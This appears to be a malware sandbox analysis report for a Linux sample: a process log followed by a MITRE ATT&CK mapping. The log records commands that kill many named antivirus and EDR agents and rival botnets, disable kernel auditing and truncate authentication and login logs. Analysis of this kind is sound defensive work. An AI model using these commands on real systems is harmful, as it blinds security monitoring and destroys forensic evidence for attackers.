/usr/bin/pkill
pkill -9 -x avp31.exe
1⤵
- Reads runtime system information
PID:1001

/usr/bin/pkill
pkill -9 -x avp32.exe
1⤵
PID:1003

/usr/bin/pkill
pkill -9 -x avp33.exe
1⤵
- Reads runtime system information
PID:1005

/usr/bin/pkill
pkill -9 -x avp34.exe
1⤵
PID:1007

/usr/bin/pkill
pkill -9 -x avp35.exe
1⤵
- Reads runtime system information
PID:1009

/usr/bin/pkill
pkill -9 -x avp36.exe
1⤵
- Reads runtime system information
PID:1011

/usr/bin/pkill
pkill -9 -x avp37.exe
1⤵
PID:1013

/usr/bin/pkill
pkill -9 -x avp38.exe
1⤵
PID:1015

/usr/bin/pkill
pkill -9 -x avp39.exe
1⤵
PID:1017

/usr/bin/pkill
pkill -9 -x avp40.exe
1⤵
- Reads runtime system information
PID:1019

/usr/bin/pkill
pkill -9 -x avp41.exe
1⤵
PID:1021

/usr/bin/pkill
pkill -9 -x avp42.exe
1⤵
- Reads runtime system information
PID:1023

/usr/bin/pkill
pkill -9 -x avp43.exe
1⤵
PID:1025

/usr/bin/pkill
pkill -9 -x avp44.exe
1⤵
- Reads runtime system information
PID:1027

/usr/bin/pkill
pkill -9 -x avp45.exe
1⤵
- Reads runtime system information
PID:1029

/usr/bin/pkill
pkill -9 -x avp46.exe
1⤵
- Reads runtime system information
PID:1031

/usr/bin/pkill
pkill -9 -x avp47.exe
1⤵
PID:1033

/usr/bin/pkill
pkill -9 -x avp48.exe
1⤵
- Reads runtime system information
PID:1035

/usr/bin/pkill
pkill -9 -x avp49.exe
1⤵
PID:1037

/usr/bin/pkill
pkill -9 -x avp50.exe
1⤵
- Reads runtime system information
PID:1039

/usr/bin/pkill
pkill -9 -f "[f]alcond"
1⤵
PID:1042

/usr/bin/pkill
pkill -9 -f "[f]alcon"
1⤵
- Reads runtime system information
PID:1044

/usr/bin/pkill
pkill -9 -f "[c]sagent"
1⤵
- Reads runtime system information
PID:1046

/usr/bin/pkill
pkill -9 -f "[c]rowdstrike"
1⤵
- Reads runtime system information
PID:1048

/usr/bin/pkill
pkill -9 -f "[s]entinelagent"
1⤵
- Reads runtime system information
PID:1050

/usr/bin/pkill
pkill -9 -f "[s]entinelhelper"
1⤵
PID:1052

/usr/bin/pkill
pkill -9 -f "[s]1-agent"
1⤵
PID:1054

/usr/bin/pkill
pkill -9 -f "[s]1-service"
1⤵
PID:1056

/usr/bin/pkill
pkill -9 -f "[x]agt"
1⤵
PID:1058

/usr/bin/pkill
pkill -9 -f "[c]bdefense"
1⤵
PID:1060

/usr/bin/pkill
pkill -9 -f "[c]bagent"
1⤵
PID:1062

/usr/bin/pkill
pkill -9 -f "[c]arbonblack"
1⤵
PID:1064

/usr/bin/pkill
pkill -9 -f "[r]epwel"
1⤵
PID:1066

/usr/bin/pkill
pkill -9 -f "[c]ylance"
1⤵
- Reads runtime system information
PID:1068

/usr/bin/pkill
pkill -9 -f "[s]vcdiva"
1⤵
PID:1070

/usr/bin/pkill
pkill -9 -f "[m]datp"
1⤵
PID:1072

/usr/bin/pkill
pkill -9 -f "[m]dallaips"
1⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:1074

/usr/bin/pkill
pkill -9 -f "[s]ensedata"
1⤵
PID:1076

/usr/bin/pkill
pkill -9 -f "[s]ophos"
1⤵
PID:1078

/usr/bin/pkill
pkill -9 -f "[s]avscanner"
1⤵
PID:1080

/usr/bin/pkill
pkill -9 -f "[r]tvscan"
1⤵
PID:1082

/usr/bin/pkill
pkill -9 -f "[s]ymantec"
1⤵
PID:1084

/usr/bin/pkill
pkill -9 -f "[S]ymAux"
1⤵
PID:1086

/usr/bin/pkill
pkill -9 -f "[t]rendmicro"
1⤵
PID:1088

/usr/bin/pkill
pkill -9 -f "[d]s_agent"
1⤵
- Reads runtime system information
PID:1090

/usr/bin/pkill
pkill -9 -f "[e]dragent"
1⤵
PID:1092

/usr/bin/pkill
pkill -9 -f "[o]squeryd"
1⤵
PID:1094

/usr/bin/pkill
pkill -9 -f "[s]ysmon"
1⤵
- Reads runtime system information
PID:1096

/usr/bin/pkill
pkill -9 -f "[c]lamd"
1⤵
PID:1098

/usr/bin/pkill
pkill -9 -f "[k]lscan"
1⤵
PID:1100

/usr/bin/pkill
pkill -9 -f "[k]avfs"
1⤵
PID:1102

/usr/sbin/auditctl
auditctl -e 0
1⤵
PID:1104

/usr/bin/pkill
pkill -9 -f "[a]ccton"
1⤵
PID:1107

/usr/bin/pkill
pkill -9 -f "[s]noop"
1⤵
- Reads runtime system information
PID:1106

/usr/bin/truncate
truncate -s 0 "/var/log/auth*" /var/log/secure /var/log/wtmp /var/log/lastlog
1⤵
- Deletes log files
PID:1109

/usr/bin/pkill
pkill -9 -x mirai
1⤵
PID:1113

/usr/bin/pkill
pkill -9 -x mirai.arm
1⤵
PID:1115

/usr/bin/pkill
pkill -9 -x mirai.mips
1⤵
- System Network Configuration Discovery
PID:1117

/usr/bin/pkill
pkill -9 -x mirai.mpsel
1⤵
PID:1119

/usr/bin/pkill
pkill -9 -x gafgyt
1⤵
- Reads runtime system information
PID:1121

/usr/bin/pkill
pkill -9 -x bashlite
1⤵
PID:1123

/usr/bin/pkill
pkill -9 -x tsunami
1⤵
- Reads runtime system information
PID:1125

/usr/bin/pkill
pkill -9 -x hakai
1⤵
PID:1127

/usr/bin/pkill
pkill -9 -x sora
1⤵
- Reads runtime system information
PID:1129

/usr/bin/pkill
pkill -9 -x qbot
1⤵
PID:1131

/usr/bin/pkill
pkill -9 -x astaroth
1⤵
PID:1133

/usr/bin/pkill
pkill -9 -x ozyman
1⤵
PID:1135

/usr/bin/pkill
pkill -9 -x nihappy
1⤵
- Reads runtime system information
PID:1137

/tmp/.z
/tmp/.z
1⤵
PID:1195

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads